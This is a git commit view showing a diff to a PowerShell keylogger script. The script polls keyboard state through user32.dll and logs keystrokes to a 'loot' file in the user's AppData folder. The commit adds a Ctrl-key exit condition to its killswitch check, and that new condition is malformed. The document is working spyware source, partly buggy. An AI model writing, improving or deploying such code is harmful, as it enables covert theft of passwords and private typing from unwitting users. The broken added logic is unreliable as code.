Update -keys.ps1
This commit is contained in:
parent
87617e0cd7
commit
05c3897d4d
1 changed files with 6 additions and 1 deletions
|
@ -1,3 +1,8 @@
|
|||
Add-Type -AssemblyName WindowsBase
|
||||
Add-Type -AssemblyName PresentationCore
|
||||
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
|
||||
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
|
||||
|
||||
function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
|
||||
$signatures = @'
|
||||
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
|
||||
|
@ -21,7 +26,7 @@ function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
|
|||
|
||||
while ($true) {
|
||||
Start-Sleep -Milliseconds 40
|
||||
if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")){exit}
|
||||
if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt" -or $Rctrl -and $Lctrl)){exit}
|
||||
|
||||
|
||||
for ($ascii = 9; $ascii -le 254; $ascii++) {
|
||||
|
|
Loading…
Reference in a new issue